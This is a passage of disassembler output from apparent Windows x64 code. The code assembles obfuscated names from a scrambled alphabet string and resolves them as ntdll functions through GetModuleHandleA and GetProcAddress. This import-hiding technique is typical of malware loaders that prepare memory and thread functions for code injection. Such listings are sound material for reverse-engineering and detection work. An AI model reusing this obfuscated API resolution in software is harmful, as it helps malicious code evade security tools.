mov qword [rbp + 0x4d40], rax
nop
nop
lea rdx, [rbp + 0x36cf]
lea rax, [rbp + 0x36a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x3680]
lea rdx, [rbp + 0x36a0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea r8, [0x27ff901ab]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3640]
lea rdx, [rbp + 0x3660]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3620]
lea rdx, [rbp + 0x3640]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3600]
lea rdx, [rbp + 0x3620]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x35e0]
lea rdx, [rbp + 0x3600]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x35c0]
lea rdx, [rbp + 0x35e0]
lea r8, [0x27ff901ad]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x35a0]
lea rdx, [rbp + 0x35c0]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3580]
lea rdx, [rbp + 0x35a0]
lea r8, [0x27ff901af]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3560]
lea rdx, [rbp + 0x3580]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3540]
lea rdx, [rbp + 0x3560]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3520]
lea rdx, [rbp + 0x3540]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3500]
lea rdx, [rbp + 0x3520]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x34e0]
lea rdx, [rbp + 0x3500]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x34c0]
lea rdx, [rbp + 0x34e0]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x34a0]
lea rdx, [rbp + 0x34c0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3480]
lea rdx, [rbp + 0x34a0]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3460]
lea rdx, [rbp + 0x3480]
lea r8, [0x27ff9018b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3440]
lea rdx, [rbp + 0x3460]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3420]
lea rdx, [rbp + 0x3440]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3400]
lea rdx, [rbp + 0x3420]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x33a0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3420]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3440]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3460]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3480]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x34a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x34c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x34e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3500]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3520]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3540]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3560]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3580]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x35a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x35c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x35e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3600]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3660]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3680]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x36a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x36cf]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd068], rax
lea rax, [rbp + 0x393f]
mov qword [rbp + 0x4d38], rax
nop
nop
lea rdx, [rbp + 0x393f]
lea rax, [rbp + 0x3910]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x38f0]
lea rdx, [rbp + 0x3910]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x38d0]
lea rdx, [rbp + 0x38f0]
lea r8, [0x27ff90199]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x38b0]
lea rdx, [rbp + 0x38d0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3890]
lea rdx, [rbp + 0x38b0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3870]
lea rdx, [rbp + 0x3890]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3850]
lea rdx, [rbp + 0x3870]
lea r8, [0x27ff9017b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3830]
lea rdx, [rbp + 0x3850]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3810]
lea rdx, [rbp + 0x3830]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x37f0]
lea rdx, [rbp + 0x3810]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x37d0]
lea rdx, [rbp + 0x37f0]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x37b0]
lea rdx, [rbp + 0x37d0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3790]
lea rdx, [rbp + 0x37b0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3770]
lea rdx, [rbp + 0x3790]
lea r8, [0x27ff90183]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3750]
lea rdx, [rbp + 0x3770]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x36d0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3770]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3790]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x37b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x37d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x37f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3850]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3870]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3890]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x38b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x38d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x38f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3910]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x393f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd070], rax
lea rax, [rbp + 0x3a2f]
mov qword [rbp + 0x4d30], rax
nop
nop
lea rdx, [rbp + 0x3a2f]
lea rax, [rbp + 0x3a00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x39e0]
lea rdx, [rbp + 0x3a00]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x27ff9018d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x3940]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3a00]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3a2f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd078], rax
lea rax, [rbp + 0x3bdf]
mov qword [rbp + 0x4d28], rax
nop
nop
lea rdx, [rbp + 0x3bdf]
lea rax, [rbp + 0x3bb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x3b90]
lea rdx, [rbp + 0x3bb0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3b70]
lea rdx, [rbp + 0x3b90]
lea r8, [0x27ff901a5]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3b50]
lea rdx, [rbp + 0x3b70]
lea r8, [0x27ff901b1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3b30]
lea rdx, [rbp + 0x3b50]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3b10]
lea rdx, [rbp + 0x3b30]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3af0]
lea rdx, [rbp + 0x3b10]
lea r8, [0x27ff9018b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3b10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3b30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3b50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3b70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3b90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3bb0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3bdf]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd080], rax
lea rax, [rbp + 0x3def]
mov qword [rbp + 0x4d20], rax
nop
nop
lea rdx, [rbp + 0x3def]
lea rax, [rbp + 0x3dc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x3da0]
lea rdx, [rbp + 0x3dc0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3d80]
lea rdx, [rbp + 0x3da0]
lea r8, [0x27ff901ab]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d80]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d60]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d40]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3d00]
lea rdx, [rbp + 0x3d20]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ce0]
lea rdx, [rbp + 0x3d00]
lea r8, [0x27ff9016f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ce0]
lea r8, [0x27ff901b1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x3be0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ce0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3d20]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3d40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3d60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3d80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3da0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3dc0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3def]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd088], rax
lea rax, [rbp + 0x405f]
mov qword [rbp + 0x4d18], rax
nop
nop
lea rdx, [rbp + 0x405f]
lea rax, [rbp + 0x4030]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x4010]
lea rdx, [rbp + 0x4030]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ff0]
lea rdx, [rbp + 0x4010]
lea r8, [0x27ff9016f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3fd0]
lea rdx, [rbp + 0x3ff0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3fb0]
lea rdx, [rbp + 0x3fd0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3f90]
lea rdx, [rbp + 0x3fb0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3f70]
lea rdx, [rbp + 0x3f90]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3f50]
lea rdx, [rbp + 0x3f70]
lea r8, [0x27ff90199]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3f30]
lea rdx, [rbp + 0x3f50]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3f10]
lea rdx, [rbp + 0x3f30]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ef0]
lea rdx, [rbp + 0x3f10]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x3df0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3f10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3f50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3f70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3f90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3fb0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3ff0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4010]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4030]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x405f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd090], rax
lea rax, [rbp + 0x42af]
mov qword [rbp + 0x4d10], rax
nop
nop
lea rdx, [rbp + 0x42af]
lea rax, [rbp + 0x4280]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x4260]
lea rdx, [rbp + 0x4280]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4240]
lea rdx, [rbp + 0x4260]
lea r8, [0x27ff901b3]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4220]
lea rdx, [rbp + 0x4240]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4200]
lea rdx, [rbp + 0x4220]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x41e0]
lea rdx, [rbp + 0x4200]
lea r8, [0x27ff9018d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x41c0]
lea rdx, [rbp + 0x41e0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x41a0]
lea rdx, [rbp + 0x41c0]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4180]
lea rdx, [rbp + 0x41a0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x27ff90197]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x4060]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x41a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x41c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x41e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4200]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4220]
mov rcx, rax
call fcn.27feabde0
